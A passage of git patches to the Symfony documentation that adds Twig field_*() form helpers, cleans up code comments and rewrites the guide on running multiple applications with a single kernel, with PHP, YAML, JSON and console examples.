+When using these helpers, you must write all the HTML contents for all form fields, which some people prefer to better
+control the generated HTML without having to deal with form themes:
+
+.. code-block:: html+twig
+
+    <input
+        name="{{ field_name(form.username) }}"
+        value="{{ field_value(form.username) }}"
+        placeholder="{{ field_label(form.username) }}"
+        class="form-control"
+    />
+
+    <select name="{{ field_name(form.country) }}" class="form-control">
+        <option value="">{{ field_label(form.country) }}</option>
+
+        {% for label, value in field_choices(form.country) %}
+            <option value="{{ value }}">{{ label }}</option>
+        {% endfor %}
+    </select>
+
+.. versionadded:: 5.2
+
+    The ``field_*()`` helpers were introduced in Symfony 5.2.
+
 Form Rendering Variables
 ------------------------
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 38d96910fd2..0ee70b0929d 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -365,6 +365,12 @@ explained in the article about :doc:`customizing form rendering </form/form_cust
 * :ref:`form_help() <reference-forms-twig-help>`
 * :ref:`form_row() <reference-forms-twig-row>`
 * :ref:`form_rest() <reference-forms-twig-rest>`
+* :ref:`field_name() <reference-forms-twig-field-helpers>`
+* :ref:`field_value() <reference-forms-twig-field-helpers>`
+* :ref:`field_label() <reference-forms-twig-field-helpers>`
+* :ref:`field_help() <reference-forms-twig-field-helpers>`
+* :ref:`field_errors() <reference-forms-twig-field-helpers>`
+* :ref:`field_choices() <reference-forms-twig-field-helpers>`
 
 .. _reference-twig-filters:
 

From 8578924939c1ebe1ccdd0cdd88581c772998f3e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 May 2023 15:31:55 +0200
Subject: [PATCH 3268/5766] Tweaks

---
 form/form_customization.rst | 33 +++++++++++++++++----------------
 1 file changed, 17 insertions(+), 16 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 9db536dfbd6..87be104c7f1 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -92,22 +92,23 @@ control over how each form field is rendered, so you can fully customize them:
 Form Field Helpers
 ------------------
 
-The ``form_*()`` helpers render each part of the form field, including all its needed HTML elements. Most developers
-like this behavior, but some designers struggle with it, because it hides all the HTML in form themes which are not
-easy to manage by them.
-
-That's why some Twig form helpers are available to render the value of each form field part without adding any
-HTML around it:
-
-* ``field_name``
-* ``field_value``
-* ``field_label``
-* ``field_help``
-* ``field_errors``
-* ``field_choices`` (an iterator of the field choices; e.g. for ``<select>``)
-
-When using these helpers, you must write all the HTML contents for all form fields, which some people prefer to better
-control the generated HTML without having to deal with form themes:
+The ``form_*()`` helpers shown in the previous section render different parts of
+the form field, including all its HTML elements. Some developers and designers
+struggle with this behavior, because it hides all the HTML elements in form
+themes which are not trivial to customize.
+
+That's why Symfony provides other Twig form helpers that render the value of
+each form field part without adding any HTML around it:
+
+* ``field_name()``
+* ``field_value()``
+* ``field_label()``
+* ``field_help()``
+* ``field_errors()``
+* ``field_choices()`` (an iterator for choice fields; e.g. for ``<select>``)
+
+When using these helpers, you must write all the HTML contents for all form
+fields, so you no longer have to deal with form themes:
 
 .. code-block:: html+twig
 

From b3bc5aca3e6fa3f7c5d0c2b52f334cc2d28a0be5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Apr 2023 17:03:05 +0200
Subject: [PATCH 3269/5766] Don't use double backquotes in the comments

---
 .../cache/adapters/array_cache_adapter.rst    |  2 +-
 event_dispatcher.rst                          |  2 +-
 service_container/autowiring.rst              | 20 +++++++++----------
 testing.rst                                   |  5 ++---
 4 files changed, 14 insertions(+), 15 deletions(-)

diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index 7429593f993..1d8cd87269a 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -15,7 +15,7 @@ method::
         // until the current PHP process finishes)
         $defaultLifetime = 0,
 
-        // if ``true``, the values saved in the cache are serialized before storing them
+        // if true, the values saved in the cache are serialized before storing them
         $storeSerialized = true,
 
         // the maximum lifetime (in seconds) of the entire cache (after this time, the
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ae13f5d61a6..c04e309eb46 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -796,7 +796,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
         public function onMailerPostSend(AfterSendMailEvent $event)
         {
             $returnValue = $event->getReturnValue();
-            // modify the original ``$returnValue`` value
+            // modify the original $returnValue value
 
             $event->setReturnValue($returnValue);
         }
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 39fa1ba5299..60baa01b261 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -216,8 +216,8 @@ adding a service alias:
                 # ...
 
             # but this fixes it!
-            # the ``app.rot13.transformer`` service will be injected when
-            # an ``App\Util\Rot13Transformer`` type-hint is detected
+            # the "app.rot13.transformer" service will be injected when
+            # an App\Util\Rot13Transformer type-hint is detected
             App\Util\Rot13Transformer: '@app.rot13.transformer'
 
     .. code-block:: xml
@@ -251,8 +251,8 @@ adding a service alias:
                 ->autowire();
 
             // but this fixes it!
-            // the ``app.rot13.transformer`` service will be injected when
-            // an ``App\Util\Rot13Transformer`` type-hint is detected
+            // the "app.rot13.transformer" service will be injected when
+            // an App\Util\Rot13Transformer type-hint is detected
             $services->alias(Rot13Transformer::class, 'app.rot13.transformer');
         };
 
@@ -355,8 +355,8 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
 
             $services->set(Rot13Transformer::class);
 
-            // the ``App\Util\Rot13Transformer`` service will be injected when
-            // an ``App\Util\TransformerInterface`` type-hint is detected
+            // the App\Util\Rot13Transformer service will be injected when
+            // an App\Util\TransformerInterface type-hint is detected
             $services->alias(TransformerInterface::class, Rot13Transformer::class);
         };
 
@@ -526,13 +526,13 @@ the injection::
             $services->set(Rot13Transformer::class)->autowire();
             $services->set(UppercaseTransformer::class)->autowire();
 
-            // the ``App\Util\UppercaseTransformer`` service will be
-            // injected when an ``App\Util\TransformerInterface``
-            // type-hint for a ``$shoutyTransformer`` argument is detected.
+            // the App\Util\UppercaseTransformer service will be
+            // injected when an App\Util\TransformerInterface
+            // type-hint for a $shoutyTransformer argument is detected.
             $services->alias(TransformerInterface::class.' $shoutyTransformer', UppercaseTransformer::class);
 
             // If the argument used for injection does not match, but the
-            // type-hint still matches, the ``App\Util\Rot13Transformer``
+            // type-hint still matches, the App\Util\Rot13Transformer
             // service will be injected.
             $services->alias(TransformerInterface::class, Rot13Transformer::class);
 
diff --git a/testing.rst b/testing.rst
index c7885328242..3ca9f5e6e8a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -566,11 +566,10 @@ In the above example, the test validates that the HTTP response was successful
 and the request body contains a ``<h1>`` tag with ``"Hello world"``.
 
 The ``request()`` method also returns a crawler, which you can use to
-create more complex assertions in your tests::
+create more complex assertions in your tests (e.g. to count the number of page
+elements that match a given CSS selector)::
 
     $crawler = $client->request('GET', '/post/hello-world');
-
-    // for instance, count the number of ``.comment`` elements on the page
     $this->assertCount(4, $crawler->filter('.comment'));
 
 You can learn more about the crawler in :doc:`/testing/dom_crawler`.

From f1698a449d2446c5f1615b232595a29b1740c84e Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Mon, 10 Apr 2023 21:01:00 -0400
Subject: [PATCH 3270/5766] Revamping Multiple Kernels documentation

---
 configuration/multiple_kernels.rst | 467 +++++++++++++++++++----------
 1 file changed, 306 insertions(+), 161 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index dc7e4c5b390..12ebaf67eda 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -1,244 +1,389 @@
-How To Create Symfony Applications with Multiple Kernels
-========================================================
+How to Create Multiple Symfony Applications with a Single Kernel
+================================================================
 
-.. caution::
+In most Symfony applications, incoming requests are processed by the front controller at ``public/index.php``, which
+instantiates the ``src/Kernel.php`` class to create the application kernel. This kernel loads the bundles, configurations,
+and handles the request to generate the response.
 
-    Creating applications with multiple kernels is no longer recommended by
-    Symfony. Consider creating multiple small applications instead.
+The current implementation of the Kernel class serves as a convenient default for a single application. However, it can
+also manage multiple applications. While the Kernel typically runs the same application with different configurations
+based on various :ref:`environments <configuration-environments>` , it can be adapted to run different applications with
+specific bundles and configurations.
 
-In most Symfony applications, incoming requests are processed by the
-``public/index.php`` front controller, which instantiates the ``src/Kernel.php``
-class to create the application kernel that loads the bundles and handles the
-request to generate the response.
+These are some of the common use cases for creating multiple applications with a single Kernel:
 
-This single kernel approach is a convenient default, but Symfony applications
-can define any number of kernels. Whereas
-:ref:`environments <configuration-environments>` run the same application with
-different configurations, kernels can run different parts of the same
-application.
+* An application that defines an API can be divided into two segments to improve performance. The first segment serves
+  the regular web application, while the second segment exclusively responds to API requests. This approach requires
+  loading fewer bundles and enabling fewer features for the second part, thus optimizing performance;
+* A highly sensitive application could be divided into two parts for enhanced security. The first part would only load
+  routes corresponding to the publicly exposed sections of the application. The second part would load the remainder of
+  the application, with its access safeguarded by the web server;
+* A monolithic application could be gradually transformed into a more distributed architecture, such as micro-services.
+  This approach allows for a seamless migration of a large application while still sharing common configurations and
+  components.
 
-These are some of the common use cases for creating multiple kernels:
+Turning a Single Application into Multiple Applications
+-------------------------------------------------------
 
-* An application that defines an API could define two kernels for performance
-  reasons. The first kernel would serve the regular application and the second
-  one would only respond to the API requests, loading less bundles and enabling
-  less features;
-* A highly sensitive application could define two kernels. The first one would
-  only load the routes that match the parts of the application exposed publicly.
-  The second kernel would load the rest of the application and its access would
-  be protected by the web server;
-* A micro-services oriented application could define several kernels to
-  enable/disable services selectively turning a traditional monolith application
-  into several micro-applications.
+Let's explore the steps required to convert a single application into a new one that supports multiple applications:
 
-Adding a new Kernel to the Application
---------------------------------------
+1. Create a new application;
+2. Update the Kernel class to support multiple applications;
+3. Add a new ``APP_ID`` environment variable;
+4. Update the front controllers.
 
-Creating a new kernel in a Symfony application is a three-step process:
+The following example shows how to create a new application for the API of a new Symfony project.
 
-1. Create a new front controller to load the new kernel;
-2. Create the new kernel class;
-3. Define the configuration loaded by the new kernel.
+Step 1) Create a new Application
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The following example shows how to create a new kernel for the API of a given
-Symfony application.
+In this example, we will use the `Shared Kernel`_ pattern, where, although all applications maintain an isolated context,
+they can share common bundles, configurations, and code if desired. The optimal approach will depend on your specific
+needs and requirements, so it's up to you to decide which best suits your project.
 
-Step 1) Create a new Front Controller
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+First, let's create a new ``apps`` directory at the root of your project, which will hold all the necessary applications.
+Each application will follow a simplified directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
 
-Instead of creating the new front controller from scratch, it's easier to
-duplicate the existing one. For example, create ``public/api.php`` from
-``public/index.php``.
+.. code-block:: text
 
-Then, update the code of the new front controller to instantiate the new kernel
-class instead of the usual ``Kernel`` class::
+    your-project/
+    ├─ apps/
+    │  └─ api/
+    │     ├─ config/
+    │     │  ├─ bundles.php
+    │	  │  ├─ routes.yaml
+    │	  │  └─ services.yaml
+    │  	  └─ src/
+    ├─ bin/
+    │  └─ console
+    ├─ config/
+    ├─ public/
+    │  └─ index.php
+    ├─ src/
+    │	└─ Kernel.php
 
-    // public/api.php
-    // ...
-    $kernel = new ApiKernel(
-        $_SERVER['APP_ENV'] ?? 'dev',
-        $_SERVER['APP_DEBUG'] ?? ('prod' !== ($_SERVER['APP_ENV'] ?? 'dev'))
-    );
-    // ...
+.. note::
+
+    Note that the ``config/`` and ``src/`` directories at the root of the project will represent the shared context among
+    all applications within the ``apps/`` directory. Therefore, you should carefully consider what is common and what
+    should be placed in the specific application.
 
 .. tip::
 
-    Another approach is to keep the existing ``index.php`` front controller, but
-    add an ``if`` statement to load the different kernel based on the URL (e.g.
-    if the URL starts with ``/api``, use the ``ApiKernel``).
+    You might also consider renaming the namespace for the shared context, from ``App`` to ``Shared``, as it will make it
+    easier to distinguish and provide clearer meaning to this context.
 
-Step 2) Create the new Kernel Class
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Since the new ``apps/api/src/`` directory will host the PHP code related to the API, we need to update the ``composer.json``
+file to include it in the autoload section:
 
-Now you need to define the ``ApiKernel`` class used by the new front controller.
-The easiest way to do this is by duplicating the existing  ``src/Kernel.php``
-file and make the needed changes.
+.. code-block:: json
 
-In this example, the ``ApiKernel`` will load fewer bundles than the default
-Kernel. Be sure to also change the location of the cache, logs and configuration
-files so they don't collide with the files from ``src/Kernel.php``::
+    {
+        "autoload": {
+            "psr-4": {
+                "Shared\\": "src/",
+                "Api\\": "apps/api/src/"
+            }
+        }
+    }
 
-    // src/ApiKernel.php
-    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+Additionally, don't forget to run `composer dump-autoload` to generate the autoload files.
 
-    class ApiKernel extends Kernel
+Step 2) Update the Kernel class to support Multiple Applications
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Since we aim to support multiple applications, we will add a new property ``string $id`` to the Kernel to identify the
+application being loaded. This property will also allow us to split the cache, logs, and configuration files in order to
+avoid collisions with other applications. Moreover, it contributes to performance optimization, as each application will
+load only the required resources::
+
+    // src/Kernel.php
+    namespace Shared;
+
+    // ...
+
+    class Kernel extends BaseKernel
     {
         use MicroKernelTrait;
 
-        public function getProjectDir(): string
+        public function __construct(string $environment, bool $debug, private string $id)
+        {
+            parent::__construct($environment, $debug);
+        }
+
+        public function getSharedConfigDir(): string
+        {
+            return $this->getProjectDir().'/config';
+        }
+
+        public function getAppConfigDir(): string
+        {
+            return $this->getProjectDir().'/apps/'.$this->id.'/config';
+        }
+
+        public function registerBundles(): iterable
         {
-            return \dirname(__DIR__);
+            $sharedBundles = require $this->getSharedConfigDir().'/bundles.php';
+            $appBundles = require $this->getAppConfigDir().'/bundles.php';
+
+            // load common bundles, such as the FrameworkBundle, as well as
+            // specific bundles required exclusively for the app itself
+            foreach (array_merge($sharedBundles, $appBundles) as $class => $envs) {
+                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
+                    yield new $class();
+                }
+            }
         }
 
         public function getCacheDir(): string
         {
-            return $this->getProjectDir().'/var/cache/api/'.$this->environment;
+            // divide cache for each application
+            return ($_SERVER['APP_CACHE_DIR'] ?? $this->getProjectDir().'/var/cache').'/'.$this->id.'/'.$this->environment;
         }
 
         public function getLogDir(): string
         {
-            return $this->getProjectDir().'/var/log/api';
+            // divide logs for each application
+            return ($_SERVER['APP_LOG_DIR'] ?? $this->getProjectDir().'/var/log').'/'.$this->id;
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $containerConfigurator->import('../config/api/{packages}/*.yaml');
-            $containerConfigurator->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
-
-            if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
-                $containerConfigurator->import('../config/api/services.yaml');
-                $containerConfigurator->import('../config/api/{services}_'.$this->environment.'.yaml');
-            } else {
-                $containerConfigurator->import('../config/api/{services}.php');
-            }
+            // load common config files, such as the framework.yaml, as well as
+            // specific configs required exclusively for the app itself
+            $this->doConfigureContainer($container, $this->getSharedConfigDir());
+            $this->doConfigureContainer($container, $this->getAppConfigDir());
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
         {
-            $routes->import('../config/api/{routes}/'.$this->environment.'/*.yaml');
-            $routes->import('../config/api/{routes}/*.yaml');
-            // ... load only the config routes strictly needed for the API
+            // load common routes files, such as the routes/framework.yaml, as well as
+            // specific routes required exclusively for the app itself
+            $this->doConfigureRoutes($routes, $this->getSharedConfigDir());
+            $this->doConfigureRoutes($routes, $this->getAppConfigDir());
         }
 
-        // If you need to run some logic to decide which bundles to load,
-        // you might prefer to use the registerBundles() method instead
-        private function getBundlesPath(): string
+        private function doConfigureContainer(ContainerConfigurator $container, string $configDir): void
         {
-            // load only the bundles strictly needed for the API
-            return $this->getProjectDir().'/config/api_bundles.php';
+            $container->import($configDir.'/{packages}/*.{php,yaml}');
+            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
+
+            if (is_file($configDir.'/services.yaml')) {
+                $container->import($configDir.'/services.yaml');
+                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import($configDir.'/{services}.php');
+            }
+        }
+
+        private function doConfigureRoutes(RoutingConfigurator $routes, string $configDir): void
+        {
+            $routes->import($configDir.'/{routes}/'.$this->environment.'/*.{php,yaml}');
+            $routes->import($configDir.'/{routes}/*.{php,yaml}');
+
+            if (is_file($configDir.'/routes.yaml')) {
+                $routes->import($configDir.'/routes.yaml');
+            } else {
+                $routes->import($configDir.'/{routes}.php');
+            }
+
+            if (false !== ($fileName = (new \ReflectionObject($this))->getFileName())) {
+                $routes->import($fileName, 'annotation');
+            }
         }
     }
 
-.. versionadded:: 5.4
+In this example, we reuse the default implementation to import configuration and routes based on a given configuration
+directory. As we saw earlier, this approach will import both shared and app-specific resources.
 
-    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
+Step 3) Add a new APP_ID environment variable
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Step 3) Define the Kernel Configuration
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Now, let's introduce a new environment variable that identifies the current application. This new variable can be added
+to the ``.env`` file to provide a default value, but it should typically be added to your web server configuration.
 
-Finally, define the configuration files that the new ``ApiKernel`` will load.
-According to the above code, this config will live in one or multiple files
-stored in ``config/api/`` and ``config/api/ENVIRONMENT_NAME/`` directories.
+.. code-block:: bash
 
-The new configuration files can be created from scratch when you load only a few
-bundles, because it will be small. Otherwise, duplicate the existing
-config files in ``config/packages/`` or better, import them and override the
-needed options.
+    # .env
+    APP_ID=api
 
-Executing Commands with a Different Kernel
-------------------------------------------
+.. caution::
 
-The ``bin/console`` script used to run Symfony commands always uses the default
-``Kernel`` class to build the application and load the commands. If you need
-to run console commands using the new kernel, duplicate the ``bin/console``
-script and rename it (e.g. ``bin/api``).
+    The value of this variable must match the application directory within ``apps/`` as it is used in the Kernel to load
+    the specific application configuration.
 
-Then, replace the ``Kernel`` instance by your own kernel instance
-(e.g. ``ApiKernel``). Now you can run commands using the new kernel
-(e.g. ``php bin/api cache:clear``).
+Step 4) Update the Front Controllers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. note::
+In this final step, we will update the front controllers ``public/index.php`` and ``bin/console`` to pass the value of
+the ``APP_ID`` variable to the Kernel instance. This will allow the Kernel to load and run the specified application::
 
-    The commands available for each console script (e.g. ``bin/console`` and
-    ``bin/api``) can differ because they depend on the bundles enabled for each
-    kernel, which could be different.
+    // public/index.php
+    use Shared\Kernel;
+    // ...
+
+    return function (array $context) {
+        return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $context['APP_ID']);
+    };
+
+Similar to configuring the required ``APP_ENV`` and ``APP_DEBUG`` values, the third argument of the Kernel constructor
+is now also necessary to setting the application ID, which is derived from an external configuration.
+
+For the second front controller, we will define a new console option to allow passing the application ID we want to run
+under CLI context::
+
+    // bin/console
+    use Shared\Kernel;
+    // ...
+
+    return function (InputInterface $input, array $context) {
+        $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $input->getParameterOption(['--id', '-i'], $context['APP_ID']));
+
+        $application = new Application($kernel);
+        $application->getDefinition()
+            ->addOption(new InputOption('--id', '-i', InputOption::VALUE_REQUIRED, 'The App ID'))
+        ;
+
+        return $application;
+    };
+
+That's it!
+
+Executing Commands
+------------------
+
+The ``bin/console`` script, which is used to run Symfony commands, always uses the ``Kernel`` class to build the
+application and load the commands. If you need to run console commands for a specific application, you can provide the
+``--id`` option along with the appropriate identity value:
+
+.. code-block:: terminal
+
+    php bin/console cache:clear --id=api
+    // or
+    php bin/console cache:clear -iapi
+
+    // alternatively
+    export APP_ID=api
+    php bin/console cache:clear
+
+You might want to update the composer auto-scripts section to run multiple commands simultaneously. In this example,
+we assume you have a second application for managing the configuration (admin):
+
+.. code-block:: json
+
+    {
+        "scripts": {
+            "auto-scripts": {
+                "cache:clear -iapi": "symfony-cmd",
+                "cache:clear -iadmin": "symfony-cmd",
+                "assets:install %PUBLIC_DIR% -iapi": "symfony-cmd",
+                "assets:install %PUBLIC_DIR% -iadmin --no-cleanup": "symfony-cmd"
+            }
+        }
+    }
+
+Then, run `composer auto-scripts` to test it!
+
+.. note::
 
-Rendering Templates Defined in a Different Kernel
--------------------------------------------------
+    The commands available for each console script (e.g. ``bin/console -iapi`` and ``bin/console -iadmin``) can differ
+    because they depend on the bundles enabled for each application, which could be different.
 
-If you follow the Symfony Best Practices, the templates of the default kernel
-will be stored in ``templates/``. Trying to render those templates in a
-different kernel will result in a *There are no registered paths for namespace
-"__main__"* error.
+Rendering Templates
+-------------------
 
-In order to solve this issue, add the following configuration to your kernel:
+Let's assume there is now another app called ``admin``. If you follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
+templates will be located in the ``templates/`` directory at the project's root. For admin-specific templates, you can
+create a new directory ``apps/admin/templates/`` which you will need to manually configure under the Admin application:
 
 .. code-block:: yaml
 
-    # config/api/twig.yaml
+    # apps/admin/config/packages/twig.yaml
     twig:
         paths:
-            # allows to use api/templates/ dir in the ApiKernel
-            "%kernel.project_dir%/api/templates": ~
+            '%kernel.project_dir%/apps/admin/templates': Admin
+
+Then, use this Twig namespace to reference any template within the Admin application only, for example ``@Admin/form/fields.html.twig``.
 
-Running Tests Using a Different Kernel
---------------------------------------
+Running Tests
+-------------
 
-In Symfony applications, functional tests extend by default from the
-:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class. Inside that
-class, a method called ``getKernelClass()`` tries to find the class of the kernel
-to use to run the application during tests. The logic of this method does not
-support multiple kernel applications, so your tests won't use the right kernel.
+In Symfony applications, functional tests typically extend from the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`
+class by default. Within its parent class, ``KernelTestCase``, there is a method called ``createKernel()`` that attempts to
+create the kernel responsible for running the application during tests. However, the current logic of this method doesn't
+include our new application ID argument, so we need to make an update::
 
-The solution is to create a custom base class for functional tests extending
-from ``WebTestCase`` class and overriding the ``getKernelClass()`` method to
-return the fully qualified class name of the kernel to use::
+    // apps/api/tests/ApiTestCase.php
+    namespace Api\Tests;
 
+    use Shared\Kernel;
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+    use Symfony\Component\HttpKernel\KernelInterface;
 
-    // tests needing the ApiKernel to work, now must extend this
-    // ApiTestCase class instead of the default WebTestCase class
     class ApiTestCase extends WebTestCase
     {
-        protected static function getKernelClass()
+        protected static function createKernel(array $options = []): KernelInterface
         {
-            return 'App\ApiKernel';
+            $env = $options['environment'] ?? $_ENV['APP_ENV'] ?? $_SERVER['APP_ENV'] ?? 'test';
+            $debug = $options['debug'] ?? (bool) ($_ENV['APP_DEBUG'] ?? $_SERVER['APP_DEBUG'] ?? true);
+
+            return new Kernel($env, $debug, 'api');
         }
+    }
 
-        // this is needed because the KernelTestCase class keeps a reference to
-        // the previously created kernel in its static $kernel property. Thus,
-        // if your functional tests do not run in isolated processes, a later run
-        // test for a different kernel will reuse the previously created instance,
-        // which points to a different kernel
-        protected function tearDown()
-        {
-            parent::tearDown();
+.. note::
+
+    Keep in mind that we will set a fixed application ID value in this instance, as the specific test cases extending
+    from ``ApiTestCase`` will focus solely on the ``api`` tests.
+
+In this situation, we have created a ``tests/`` directory inside the ``apps/api/`` application. As a result, we need to
+inform both the ``composer.json`` file and our ``phpunit.xml`` configuration about its existence:
 
-            static::$class = null;
+.. code-block:: json
+
+    {
+        "autoload-dev": {
+            "psr-4": {
+                "Shared\\Tests\\": "tests/",
+                "Api\\Tests\\": "apps/api/tests/"
+            }
         }
     }
 
-Adding more Kernels to the Application
---------------------------------------
+Remember to run ``composer dump-autoload`` to generate the autoload files.
+
+And, here is the update needed for the ``phpunit.xml`` file:
+
+.. code-block:: xml
 
-If your application is very complex and you create several kernels, it's better
-to store them in their own directories instead of messing with lots of files in
-the default ``src/`` directory:
+    <testsuites>
+        <testsuite name="shared">
+            <directory>tests</directory>
+        </testsuite>
+        <testsuite name="api">
+            <directory>apps/api/tests</directory>
+        </testsuite>
+    </testsuites>
+
+Adding more Applications
+------------------------
+
+Now you can begin adding more applications as needed, such as an ``admin`` application to manage the project's
+configuration and permissions. To do that, you will have to repeat the step 1 only:
 
 .. code-block:: text
 
-    project/
-    ├─ src/
-    │  ├─ ...
-    │  └─ Kernel.php
-    ├─ api/
-    │  ├─ ...
-    │  └─ ApiKernel.php
-    ├─ ...
-    └─ public/
-        ├─ ...
-        ├─ api.php
-        └─ index.php
+    your-project/
+    ├─ apps/
+    │  ├─ admin/
+    │  │  ├─ config/
+    │  │  │  ├─ bundles.php
+    │  │  │  ├─ routes.yaml
+    │  │  │  └─ services.yaml
+    │  │  └─ src/
+    │  └─ api/
+    │     └─ ...
+
+Additionally, you might need to update your web server configuration to set the ``APP_ID=admin`` under a different domain.
+
+.. _`Shared Kernel`: http://ddd.fed.wiki.org/view/shared-kernel

From b3bee8e81626f0d7ae17979f4aa9a27d0c988087 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 May 2023 16:35:20 +0200
Subject: [PATCH 3271/5766] Minor tweaks

---
 configuration/multiple_kernels.rst | 181 +++++++++++++++++------------
 1 file changed, 108 insertions(+), 73 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 12ebaf67eda..1b8504e0748 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -1,48 +1,59 @@
 How to Create Multiple Symfony Applications with a Single Kernel
 ================================================================
 
-In most Symfony applications, incoming requests are processed by the front controller at ``public/index.php``, which
-instantiates the ``src/Kernel.php`` class to create the application kernel. This kernel loads the bundles, configurations,
-and handles the request to generate the response.
-
-The current implementation of the Kernel class serves as a convenient default for a single application. However, it can
-also manage multiple applications. While the Kernel typically runs the same application with different configurations
-based on various :ref:`environments <configuration-environments>` , it can be adapted to run different applications with
-specific bundles and configurations.
-
-These are some of the common use cases for creating multiple applications with a single Kernel:
-
-* An application that defines an API can be divided into two segments to improve performance. The first segment serves
-  the regular web application, while the second segment exclusively responds to API requests. This approach requires
-  loading fewer bundles and enabling fewer features for the second part, thus optimizing performance;
-* A highly sensitive application could be divided into two parts for enhanced security. The first part would only load
-  routes corresponding to the publicly exposed sections of the application. The second part would load the remainder of
-  the application, with its access safeguarded by the web server;
-* A monolithic application could be gradually transformed into a more distributed architecture, such as micro-services.
-  This approach allows for a seamless migration of a large application while still sharing common configurations and
-  components.
+In Symfony applications, incoming requests are usually processed by the front
+controller at ``public/index.php``, which instantiates the ``src/Kernel.php``
+class to create the application kernel. This kernel loads the bundles, the
+configuration, and handles the request to generate the response.
+
+The current implementation of the Kernel class serves as a convenient default
+for a single application. However, it can also manage multiple applications.
+While the Kernel typically runs the same application with different
+configurations based on various :ref:`environments <configuration-environments>`,
+it can be adapted to run different applications with specific bundles and configuration.
+
+These are some of the common use cases for creating multiple applications with a
+single Kernel:
+
+* An application that defines an API can be divided into two segments to improve
+  performance. The first segment serves the regular web application, while the
+  second segment exclusively responds to API requests. This approach requires
+  loading fewer bundles and enabling fewer features for the second part, thus
+  optimizing performance;
+* A highly sensitive application could be divided into two parts for enhanced
+  security. The first part would only load routes corresponding to the publicly
+  exposed sections of the application. The second part would load the remainder
+  of the application, with its access safeguarded by the web server;
+* A monolithic application could be gradually transformed into a more
+  distributed architecture, such as micro-services. This approach allows for a
+  seamless migration of a large application while still sharing common
+  configurations and components.
 
 Turning a Single Application into Multiple Applications
 -------------------------------------------------------
 
-Let's explore the steps required to convert a single application into a new one that supports multiple applications:
+These are the steps required to convert a single application into a new one that
+supports multiple applications:
 
 1. Create a new application;
 2. Update the Kernel class to support multiple applications;
 3. Add a new ``APP_ID`` environment variable;
 4. Update the front controllers.
 
-The following example shows how to create a new application for the API of a new Symfony project.
+The following example shows how to create a new application for the API of a new
+Symfony project.
 
 Step 1) Create a new Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In this example, we will use the `Shared Kernel`_ pattern, where, although all applications maintain an isolated context,
-they can share common bundles, configurations, and code if desired. The optimal approach will depend on your specific
-needs and requirements, so it's up to you to decide which best suits your project.
+This example follows the `Shared Kernel`_ pattern: all applications maintain an
+isolated context, but they can share common bundles, configuration, and code if
+desired. The optimal approach will depend on your specific needs and
+requirements, so it's up to you to decide which best suits your project.
 
-First, let's create a new ``apps`` directory at the root of your project, which will hold all the necessary applications.
-Each application will follow a simplified directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
+First, create a new ``apps`` directory at the root of your project, which will
+hold all the necessary applications. Each application will follow a simplified
+directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
 
 .. code-block:: text
 
@@ -64,17 +75,20 @@ Each application will follow a simplified directory structure like the one descr
 
 .. note::
 
-    Note that the ``config/`` and ``src/`` directories at the root of the project will represent the shared context among
